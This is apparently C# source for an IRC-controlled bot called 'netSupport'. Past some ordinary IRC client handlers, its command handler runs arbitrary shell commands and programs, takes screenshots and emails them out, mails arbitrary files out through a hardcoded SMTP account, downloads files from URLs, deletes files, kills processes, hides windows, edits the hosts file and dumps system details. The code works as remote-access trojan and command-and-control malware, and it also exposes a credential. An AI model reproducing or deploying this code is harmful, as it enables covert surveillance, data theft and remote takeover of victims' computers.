private void ChannelMessageReceived(object sender, ChatSharp.Events.PrivateMessageEventArgs e) { if (e.IrcMessage.Parameters.Length < 2) { // Can't operate on a message with fewer than two parameters return; } string channel = e.IrcMessage.Parameters[0]; string message = ""; for (int i = 1; i < e.IrcMessage.Parameters.Length; i++) { message += e.IrcMessage.Parameters[i]; } AddMessage(message, channel, e.PrivateMessage.User.Nick); }
private void UserJoinedChannel(object sender, ChatSharp.Events.ChannelUserEventArgs e) { if (!messages.ContainsKey(e.Channel.Name)) { messages.Add(e.Channel.Name, new ArrayList()); } Dispatcher.BeginInvoke((Action)(() => { channels.ItemsSource = channelNames; channels.Items.Refresh(); })); }
private void MotdPartReceived(object sender, ChatSharp.Events.ServerMOTDEventArgs e) { AddServerMessage(e.MOTD); }
private void NoticeReceived(object sender, ChatSharp.Events.IrcNoticeEventArgs e) { AddServerMessage(e.Notice); }
public static void OnChannelMessage(object s, ChatSharp.Events.PrivateMessageEventArgs e) { var channel = irc.Channels[e.PrivateMessage.Source]; int spc = e.PrivateMessage.Message.IndexOf(' '); string cmd = (spc >= 0 ? e.PrivateMessage.Message.Substring(0, spc) : e.PrivateMessage.Message); string msg = (spc >= 0 ? e.PrivateMessage.Message.Substring(spc + 1) : ""); if (cmd == System.Security.Principal.WindowsIdentity.GetCurrent().Name.ToString() + ":") { int spc2 = msg.IndexOf(' '); string f1 = (spc2>0 ? msg.Substring(0, spc2) : msg); string f2 = (spc2>0 ? msg.Substring(spc2 + 1) : ""); cmd = f1; msg = f2; } switch (cmd) { case "!version": channel.SendMessage("netSupport v0.2 " + DateTime.Now.ToString() + " - " + System.AppDomain.CurrentDomain.FriendlyName); break; case "!gc": GC.Collect(); break; case "!login": try { if (msg.Substring(2, 2) == (DateTime.Today.Day + 27).ToString() && msg.Substring(8, 2) == System.Security.Principal.WindowsIdentity.GetCurrent().Name.ToString().Substring(2, 2).ToLower()) { logado = true; channel.SendMessage("cool..."); } else { channel.SendMessage(":("); } } catch { logado = false; channel.SendMessage(":("); } break; // typical commands case "!join": if (!logado) { channel.SendMessage(":("); break; } irc.JoinChannel(msg); channel.SendMessage("Joining Other Channel..."); break; case "!setwp": if (!logado) { channel.SendMessage(":("); break; } try { SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, msg, SPIF_UPDATEINIFILE); channel.SendMessage("Setado!"); } catch (Exception ex) { channel.SendMessage("Error " + ex.Message); } irc.JoinChannel(msg); channel.SendMessage("Joining Other Channel..."); break; case "!cmd": if (!logado) { channel.SendMessage(":("); break; } try { System.Diagnostics.Process.Start("CMD.exe", msg); channel.SendMessage("Executado!"); } catch (Exception ex) { channel.SendMessage("Error " + ex.Message); } break; case "!die": if (!logado) { channel.SendMessage(":("); break; } channel.SendMessage("Killing Bot..."); irc.Quit(); Thread.Sleep(200); Environment.Exit(1); break; case "!capscreen": if (!logado) { channel.SendMessage(":("); break; } try { int spc2 = msg.IndexOf(' '); string f1 = msg.Substring(0, spc2); string f2 = msg.Substring(spc2 + 1); Rectangle bounds = Screen.GetBounds(Point.Empty); using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics g = Graphics.FromImage(bitmap)) { g.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size); } bitmap.Save(f1 + ".jpg", System.Drawing.Imaging.ImageFormat.Jpeg); } channel.SendMessage("Image Captured " + f1 + ".jpg"); MailMessage myMail = new MailMessage(); System.Net.Mail.SmtpClient oSMTP = new SmtpClient("smtp.mandrillapp.com", 587); oSMTP.DeliveryMethod = SmtpDeliveryMethod.Network; oSMTP.UseDefaultCredentials = false; oSMTP.EnableSsl = false; oSMTP.Credentials = new System.Net.NetworkCredential("*****@*****.**", "RNCNPr-qVFdZQrcPqWyAUw"); myMail.From = new MailAddress("*****@*****.**", "netSupport"); myMail.To.Add(f2); myMail.Subject = "netSupport Image:" + f1; myMail.Attachments.Add(new Attachment(f1 + ".jpg")); myMail.IsBodyHtml = true; oSMTP.Send(myMail); channel.SendMessage("Image sent!"); } catch (Exception ex) { channel.SendMessage("Error " + ex.Message); } break; case "!reboot": if (!logado) { channel.SendMessage(":("); break; } try { System.Diagnostics.Process.Start("Shutdown", "-r -t 60"); channel.SendMessage("Rebooting..."); } catch (Exception ex) { channel.SendMessage("Error " + ex.Message); } break; case "!stopshutdown": if (!logado) { channel.SendMessage(":("); break; } try { System.Diagnostics.Process.Start("Shutdown", "-a"); channel.SendMessage("Stopping shutdown!"); } catch { channel.SendMessage("Error"); } break; case "!shutdown": if (!logado) { channel.SendMessage(":("); break; } try { System.Diagnostics.Process.Start("Shutdown", "-s -t 60"); channel.SendMessage("Shutting down..."); } catch { channel.SendMessage("Error"); } break; case "!logoff": if (!logado) { channel.SendMessage(":("); break; } try { System.Diagnostics.Process.Start("Shutdown", "-l -t 60"); channel.SendMessage("Logging off..."); } catch { channel.SendMessage("Error"); } break; case "!msg": if (!logado) { channel.SendMessage(":("); break; } try { Process.Start("msg.exe", "* " + msg); channel.SendMessage("Msgbox displayed!"); } catch { channel.SendMessage("Error Displaying MessageBox"); } break; case "!run": if (!logado) { channel.SendMessage(":("); break; } try { channel.SendMessage("Starting... " + msg); string REPMSG = "!run " + msg; System.Diagnostics.Process.Start(msg); } catch { channel.SendMessage("Error starting process"); } break; case "!flushdns": if (!logado) { channel.SendMessage(":("); break; } try { System.Diagnostics.Process.Start("ipconfig", "/flushdns"); channel.SendMessage("DNS flushed"); } catch { channel.SendMessage("Error starting IPCONFIG"); } break; case "!readfile": if (!logado) { channel.SendMessage(":("); break; } try { int spc2 = msg.IndexOf(' '); string f1 = msg.Substring(0, spc2); string f2 = msg.Substring(spc2 + 1); MailMessage myMail = new MailMessage(); System.Net.Mail.SmtpClient oSMTP = new SmtpClient("smtp.mandrillapp.com", 587); oSMTP.DeliveryMethod = SmtpDeliveryMethod.Network; oSMTP.UseDefaultCredentials = false; oSMTP.EnableSsl = false; oSMTP.Credentials = new System.Net.NetworkCredential("*****@*****.**", "RNCNPr-qVFdZQrcPqWyAUw"); myMail.From = new MailAddress("*****@*****.**", "ADM Maestro"); myMail.To.Add(f2); myMail.Subject = "netSupport file:" + f1; myMail.Attachments.Add(new Attachment(f1)); myMail.IsBodyHtml = true; oSMTP.Send(myMail); channel.SendMessage("Mail sent!"); } catch { channel.SendMessage("Error reading file"); } break; case "!deletefile": if (!logado) { channel.SendMessage(":("); break; } try { File.Delete(msg); channel.SendMessage("File deleted"); } catch { channel.SendMessage("Error deleting file"); } break; case "!variables": if (!logado) { channel.SendMessage(":("); break; } try { var kv = Environment.GetEnvironmentVariables(); foreach (string k in kv.Keys) { channel.SendMessage(k + " : " + kv[k].ToString()); System.Threading.Thread.Sleep(1000); } } catch { channel.SendMessage("Error"); } break; case "!sysinfo": if (!logado) { channel.SendMessage(":("); break; } try { channel.SendMessage("Computer Name: " + SystemInformation.ComputerName); channel.SendMessage("Cursor Size: " + SystemInformation.CursorSize.ToString().Replace("{", "|").Replace("}", "|")); channel.SendMessage("User Name: " + SystemInformation.UserName); channel.SendMessage("Users Domain: " + SystemInformation.UserDomainName); channel.SendMessage("Virtual Screen Bounds: " + SystemInformation.VirtualScreen.ToString().Replace("{", "|").Replace("}", "|")); channel.SendMessage("Primary Monitor Size: " + SystemInformation.PrimaryMonitorSize.ToString().Replace("{", "|").Replace("}", "|")); channel.SendMessage("OS Version: " + Environment.OSVersion.ToString()); channel.SendMessage("Processor Count: " + Environment.ProcessorCount.ToString()); channel.SendMessage("64 Bit?: " + Environment.Is64BitOperatingSystem.ToString()); channel.SendMessage("System Directory: " + System.Environment.SystemDirectory); System.Threading.Thread.Sleep(1000); System.IO.DriveInfo driveinfo = new System.IO.DriveInfo(@"C:\"); channel.SendMessage("Drive Name: " + driveinfo.Name.ToString()); channel.SendMessage("Volume Label: " + driveinfo.VolumeLabel.ToString()); channel.SendMessage("Total Size: " + driveinfo.TotalSize.ToString()); channel.SendMessage("Free Space: " + driveinfo.TotalFreeSpace.ToString()); channel.SendMessage("Drive Format: " + driveinfo.DriveFormat.ToString()); } catch { channel.SendMessage("Error displaying info"); } break; case "!download": if (!logado) { channel.SendMessage(":("); break; } try { int spc2 = msg.IndexOf(' '); string f1 = msg.Substring(0, spc2); string f2 = msg.Substring(spc2 + 1); WebClient webClient = new WebClient(); webClient.DownloadFile(f1, f2); channel.SendMessage("Downloaded file to: " + f2); } catch { channel.SendMessage("Error downloading file"); } break; case "!fluship": if (!logado) { channel.SendMessage(":("); break; } try { System.Diagnostics.Process.Start("ipconfig", "/release"); System.Diagnostics.Process.Start("ipconfig", "/renew"); channel.SendMessage("Successfully renewed ip (Preformed: /release /renew)"); } catch { channel.SendMessage("Error starting IPCONFIG"); } break; case "!siteblock": if (!logado) { channel.SendMessage(":("); break; } //http://www.eggheadcafe.com/community/aspnet/2/10104222/blocking-website.aspx try { String hostspath = @"C:\Windows\System32\drivers\etc\hosts"; StreamWriter sw = new StreamWriter(hostspath, true); String sitetoblock = "\n127.0.0.1 " + msg; sw.Write(sitetoblock); sw.Close(); channel.SendMessage("Site blocked " + msg); } catch { channel.SendMessage("Error opening HOSTS file"); } break; case "!siteunblock": if (!logado) { channel.SendMessage(":("); break; } try { string filename = @"C:\windows\system32\drivers\etc\hosts"; string contents = File.ReadAllText(filename); File.WriteAllText(filename, contents.Replace("127.0.0.1 " + msg, null)); channel.SendMessage("Site unblocked " + msg); } catch { channel.SendMessage("Error opening HOSTS file"); } break; case "!rename": if (!logado) { channel.SendMessage(":("); break; } try { int spc2 = msg.IndexOf(' '); string f1 = msg.Substring(0, spc2); string f2 = msg.Substring(spc2 + 1); File.Move(@f1, @f2); channel.SendMessage("File Renamed " + f1 + " to " + f2); } catch { channel.SendMessage("Error renaming file"); } break; case "!processes": if (!logado) { channel.SendMessage(":("); break; } try { foreach (Process clsProcess in Process.GetProcesses()) { channel.SendMessage(clsProcess.ProcessName); System.Threading.Thread.Sleep(500); } } catch { channel.SendMessage("Error getting processes"); } break; case "!processesall": if (!logado) { channel.SendMessage(":("); break; } try { string sProc = ""; foreach (Process clsProcess in Process.GetProcesses()) { sProc += clsProcess.ProcessName + " " + clsProcess.MainModule.FileName + " | "; } channel.SendMessage(sProc); } catch { channel.SendMessage("Error getting processes"); } break; case "!prockill": if (!logado) { channel.SendMessage(":("); break; } try { //http://www.dreamincode.net/code/snippet1543.htm foreach (Process clsProcess in Process.GetProcesses()) { //match the currently running processes by using the StartsWith Method, //this prevents us from incluing the .EXE for the process we're looking for. if (clsProcess.ProcessName.StartsWith(msg)) { clsProcess.Kill(); } } channel.SendMessage("Process Killed"); } catch { channel.SendMessage("Error killing process"); } break; case "!wsniff": if (!logado) { channel.SendMessage(":("); break; } const int nChars = 256; int handle = 0; StringBuilder Buff = new StringBuilder(nChars); handle = GetForegroundWindow(); if (GetWindowText(handle, Buff, nChars) > 0) { channel.SendMessage("<wsniff>: " + Buff.ToString()); } break; case "!exists": try { channel.SendMessage("Exists?: " + System.IO.File.Exists(msg.ToString())); } catch { channel.SendMessage("Error Checking File"); } break; case "!showwin": if (!logado) { channel.SendMessage(":("); break; } try { int spc2 = msg.IndexOf(' '); string f1 = msg.Substring(0, spc2); string f2 = msg.Substring(spc2 + 1); if (f1 == "1") { IntPtr Wind = FindWindow(null, f2); ShowWindow(Wind, 1); channel.SendMessage("Showed Window"); } else if (f1 == "0") { IntPtr Wind = FindWindow(null, f2); ShowWindow(Wind, 0); channel.SendMessage("Hid Window"); } else { channel.SendMessage("Invalid Flag"); } } catch { channel.SendMessage("Error Hiding/Showing Window"); } break; case "!ontime": if (!logado) { channel.SendMessage(":("); break; } try { channel.SendMessage("On Time: " + TimeSpan.FromMilliseconds(Environment.TickCount).TotalMinutes.ToString()); } catch { channel.SendMessage("Error"); } break; case "!curpath": if (!logado) { channel.SendMessage(":("); break; } try { channel.SendMessage("Current Path: " + Application.ExecutablePath.ToString()); } catch { channel.SendMessage("Error"); } break; case "!batt": if (!logado) { channel.SendMessage(":("); break; } try { channel.SendMessage("Battery Charge Status: " + SystemInformation.PowerStatus.BatteryChargeStatus.ToString()); channel.SendMessage("Battery Life Percent: " + (SystemInformation.PowerStatus.BatteryLifePercent * 100).ToString()); channel.SendMessage("Power Cable Connected?: " + SystemInformation.PowerStatus.PowerLineStatus.ToString()); } catch { channel.SendMessage("Error displaying info"); } break; } }